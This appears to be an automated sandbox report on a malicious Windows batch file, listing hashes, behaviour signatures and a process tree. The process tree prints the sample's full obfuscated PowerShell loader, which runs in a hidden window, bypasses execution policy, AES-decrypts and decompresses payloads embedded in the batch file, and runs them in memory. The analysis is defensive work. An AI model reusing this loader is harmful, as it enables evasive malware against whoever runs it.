Analysis

  • max time kernel
    15s
  • max time network
    17s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    09-11-2024 14:32

General

  • Target

    sigma.bat

  • Size

    467KB

  • MD5

    820debc2f4f0c9222c455ad0befb35ca

  • SHA1

    2f64b6503ac7e19c37d2556c5a8096b593b152d3

  • SHA256

    722075c841ad49931e716a80a1ba276b325ee7eb7062e295140107ac73b4f9ec

  • SHA512

    c713b74b0163483a53454cfdbdf6a005950d0bf1e044698c93bfeb2e9fed2866fef0c17d5b7b6573dec062b1edcdc3e3eb8574c74a0beaeb370466d1c250d744

  • SSDEEP

    12288:vTCh8WuzcDLPRPcIA7ewthD6ERekdWYb9ACXrjuJYD5S9J:7sBut/thDZUirA2rvD49J

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\sigma.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2500
    • C:\Windows\system32\net.exe
      net file
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1232
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 file
        3⤵
          PID:2592
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tAX32kKNIA57v2PtuvPcK8ir8QplMdCOor3YMSiLeTU='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wF3c9IhrNPKw6p+lQ8lg3Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $KImyR=New-Object System.IO.MemoryStream(,$param_var); $RDOIU=New-Object System.IO.MemoryStream; $XQVZK=New-Object System.IO.Compression.GZipStream($KImyR, [IO.Compression.CompressionMode]::Decompress); $XQVZK.CopyTo($RDOIU); $XQVZK.Dispose(); $KImyR.Dispose(); $RDOIU.Dispose(); $RDOIU.ToArray();}function execute_function($param_var,$param2_var){ $VtPlg=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $DmKAS=$VtPlg.EntryPoint; $DmKAS.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\sigma.bat';$GjSSJ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\sigma.bat').Split([Environment]::NewLine);foreach ($Rmxqb in $GjSSJ) { if ($Rmxqb.StartsWith(':: ')) { $CZpHS=$Rmxqb.Substring(3); break; }}$payloads_var=[string[]]$CZpHS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2156

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/2156-4-0x000007FEF61AE000-0x000007FEF61AF000-memory.dmp

      Filesize

      4KB

    • memory/2156-5-0x000000001B620000-0x000000001B902000-memory.dmp

      Filesize

      2.9MB

    • memory/2156-6-0x0000000002990000-0x0000000002998000-memory.dmp

      Filesize

      32KB

    • memory/2156-7-0x000007FEF5EF0000-0x000007FEF688D000-memory.dmp

      Filesize

      9.6MB

    • memory/2156-8-0x000007FEF5EF0000-0x000007FEF688D000-memory.dmp

      Filesize

      9.6MB

    • memory/2156-11-0x000007FEF5EF0000-0x000007FEF688D000-memory.dmp

      Filesize

      9.6MB

    • memory/2156-10-0x000007FEF5EF0000-0x000007FEF688D000-memory.dmp

      Filesize

      9.6MB

    • memory/2156-9-0x000007FEF5EF0000-0x000007FEF688D000-memory.dmp

      Filesize

      9.6MB

    • memory/2156-12-0x000007FEF5EF0000-0x000007FEF688D000-memory.dmp

      Filesize

      9.6MB